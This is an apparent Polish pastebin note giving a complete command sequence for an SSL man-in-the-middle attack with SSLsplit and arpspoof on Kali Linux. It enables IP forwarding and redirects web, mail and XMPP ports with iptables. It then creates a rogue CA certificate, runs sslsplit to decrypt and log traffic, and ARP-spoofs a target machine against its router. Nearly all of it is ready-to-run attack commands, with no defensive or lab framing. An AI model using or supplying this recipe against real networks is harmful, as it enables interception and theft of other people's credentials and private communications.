Atak SSL - uruchomienie SSLsplit

## tego pastebina najlepiej otworzyć na kalim linuxie w przegladarce


#instalacja arpspoof
apt install dsniff

#instalacja ssl split
apt install sslsplit

#gdyby któryś z nich nie chciał się zainstalować wpisujemy polecenia
apt-get update
apt-get upgrade

#ponownie instalujemy powyższe programy.


echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F

sysctl -w net.ipv4.ip_forward=1

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

iptables –t nat –L --line-numbers

mkdir /tmp/sslsplit
mkdir /tmp/sslsplit/logdir

cd /tmp/sslsplit

openssl genrsa -out ca.key 4096

openssl req -new -x509 -days 1826 -key ca.key -out ca.crt

## nie wylaczamy terminala bo przestanie dzialac
sslsplit -D -l connections.log -j /tmp/sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

## w nowym terminalu
arpspoof -i eth0 -t 192.168.1.128 192.168.1.1
# arpspoof -i >interfejs< -t >ip_windowsa< >ip_routera<

#ps domyślnie interfejsem jest eth0 czyli ten który ma internet